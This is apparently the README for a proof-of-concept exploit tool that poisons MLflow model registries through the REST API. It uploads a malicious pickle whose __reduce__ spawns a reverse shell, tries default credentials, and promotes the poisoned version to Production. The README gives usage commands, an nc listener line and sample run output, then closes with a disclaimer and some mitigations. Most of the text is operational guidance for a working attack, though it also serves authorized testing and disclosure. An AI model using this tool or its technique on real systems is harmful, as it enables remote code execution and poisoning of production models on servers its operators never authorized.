
Proof-of-concept that poisons MLflow registered models via the REST API, embedding a malicious pickle to trigger RCE when the model is loaded.
Generic proof-of-concept for pickle deserialization RCE against MLflow model registries (CVE-2024-37054-style). Talks only to the MLflow REST API — no assumptions about any specific client application in front of it.
⚠️ For authorized security testing only. Only run this against systems you own or are explicitly authorized to test (CTF/lab environments, engagements with signed scope, etc.). Unauthorized access to computer systems is illegal in most jurisdictions.
MLflow's pyfunc flavor loads a registered model by unpickling a
model.pkl artifact whenever mlflow.pyfunc.load_model() is called —
whether that's triggered directly through the MLflow UI/API, or
indirectly by some client application running inference against a
registered model.
Python's pickle module can execute arbitrary code during
deserialization via an object's __reduce__ method. If an attacker has
enough access to the MLflow API to:
...they can smuggle a malicious pickle in as model.pkl. The next time
anything loads that model version, the attacker's code executes in the
context of the process doing the loading (the MLflow server itself, or
a client app that embeds MLflow).
This is the same underlying primitive behind several MLflow CVEs,
including CVE-2023-6015, CVE-2023-6018, and CVE-2024-37054. It's
particularly dangerous because MLflow instances are frequently deployed
with no authentication, or with well-known default credentials
(admin:password).
Purely API-driven, in order:
--model-name).model.pkl — a pickle whose __reduce__ calls os.system() to
spawn a reverse shell.MLmodel — the manifest declaring a python_function /
sklearn flavor backed by that pickle.Production), since many client apps only ever load the
Production-staged version of a model.It does not discover or trigger the actual model load — that part is different for every deployment:
mlflow.pyfunc.load_model() behind some endpoint (a /predict
route, a scheduled batch job, etc).You need to:
--model-name yourself — from the MLflow UI, the
MLflow API (/api/2.0/mlflow/registered-models/search), or whatever
a client application returns when it registers a model on your
behalf.pip install requests --break-system-packages
Python 3.8+. No other dependencies.
python3 mlflow_pickle_rce.py \
--mlflow http://mlflow.target.tld \
--model-name my-target-model \
--lhost 10.10.14.1 --lport 4444
Start a listener before or after running:
nc -lvnp 4444
Then trigger the load however the target application does it (its own inference endpoint, a batch job, manually loading the model from the MLflow UI, etc).
| Flag | Default | Description |
|---|---|---|
--mlflow | (required) | MLflow base URL |
--model-name | random | Registered model name to poison; created if it doesn't exist |
--lhost | (required) | Your listener IP |
--lport | 4444 | Your listener port |
--username | admin | MLflow basic auth username |
--password | password | MLflow basic auth password |
--experiment-id | 0 | Experiment ID to create the run under |
--stage | Production | Stage to promote the malicious version to, or none to skip the transition |
$ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
--model-name my-target-model --lhost 10.10.14.1 --lport 4444
[*] Verifying MLflow access at http://mlflow.target.tld ...
[+] MLflow API reachable (200)
[*] Ensuring registered model 'my-target-model' exists ...
[+] Model 'my-target-model' already exists, reusing it
[*] Creating run under experiment 0 ...
[+] Run ID: 3f9b1c2a...
[*] Uploading MLmodel ...
[+] MLmodel upload: 200
[*] Uploading model.pkl ...
[+] model.pkl upload: 200
[*] Registering malicious model version for 'my-target-model' ...
[+] Model version: 200 - {...}
[*] Transitioning version 2 to stage 'Production' ...
[+] Stage transition: 200
[+] Malicious model version is registered.
[+] Model name: my-target-model
[+] Listener: nc -lvnp 4444
[+] Now trigger whatever loads this model version in the target app
(e.g. its /predict endpoint, or wait for a scheduled job that
calls mlflow.pyfunc.load_model() on it).
admin:password) in place.pickle (e.g. ONNX,
or flavors with safer serialization), or validate/sandbox model
loading.registered-models/create,
model-versions/create, and transition-stage calls in MLflow's
audit/access logs, especially from accounts that shouldn't be
publishing models to Production.load_model()) so a code-execution
primitive there doesn't have a direct path to sensitive internal
systems.MIT — see LICENSE.